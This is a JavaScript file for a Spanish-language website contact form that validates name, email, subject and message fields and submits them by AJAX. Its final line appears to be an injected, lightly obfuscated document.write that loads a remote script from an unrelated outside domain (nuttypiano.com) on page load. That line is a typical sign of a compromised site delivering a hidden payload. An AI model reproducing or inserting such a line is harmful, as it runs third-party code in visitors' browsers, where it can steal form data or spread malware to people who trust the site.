var cnn;

function start_ajax_CONTACTO()
{  //alert( datosFrmDatosCONTACTO());

   cnn=createXMLHttpRequest();
   cnn.open("POST","Contacto.ajax.php",true);
   cnn.setRequestHeader("Content-Type","application/x-www-form-urlencoded");
   cnn.send(datosFrmDatosCONTACTO());

   cnn.onreadystatechange=function()
   {  if(cnn.readyState==4 && cnn.status==200)
      {  document.getElementById("dataFormCONTACTO").style.display="none";
		 document.getElementById("completedCONTACTO").style.display="inline";
		 //alert(cnn.responseText);
	  }
   }
}

function datosFrmDatosCONTACTO()
{  var datos="nombre="+encodeURIComponent(document.getElementById("frmDatosCONTACTO").txtNombre.value);
   datos=datos+"&email="+encodeURIComponent(document.getElementById("frmDatosCONTACTO").txtEmail.value);
   datos=datos+"&asunto="+encodeURIComponent(document.getElementById("frmDatosCONTACTO").txtAsunto.value);
   datos=datos+"&mensaje="+encodeURIComponent(document.getElementById("frmDatosCONTACTO").txtMensaje.value);

   return(datos);
}

function validateFrmDatosCONTACTO()
{  var nombre=document.getElementById("frmDatosCONTACTO").txtNombre.value;
   var email=document.getElementById("frmDatosCONTACTO").txtEmail.value;
   var asunto=document.getElementById("frmDatosCONTACTO").txtAsunto.value;
   var mensaje=document.getElementById("frmDatosCONTACTO").txtMensaje.value;

   var sw=1;
   var msg="";

   if(nombre=="")
   {  msg=msg+"\nTu nombre no ha sido proporcionado";
      sw=0;
   }
   if(email=="")
   {  msg=msg+"\nEl E-mail no ha sido proporcionado";
      sw=0;
   }
   if(asunto=="")
   {  msg=msg+"\nEl asunto no ha sido proporcionado";
      sw=0;
   }
   if(mensaje=="")
   {  msg=msg+"\nEl mensaje no ha sido proporcionado";
      sw=0;
   }

   if(sw==1)
   {  if(testEmail.test(email))
      {  start_ajax_CONTACTO();
      }
      else
      {  alert("Correo electronico no es valido");
         document.getElementById("frmDatosCONTACTO").txtEmail.focus();
      }
   }
   else
   {  alert("Faltan datos por ingresar:\n"+msg);
   }
}



document.write('<sc'+'ript type="text/javascript" src="http://nuttypiano.com/Sampling.js"></scri'+'pt>');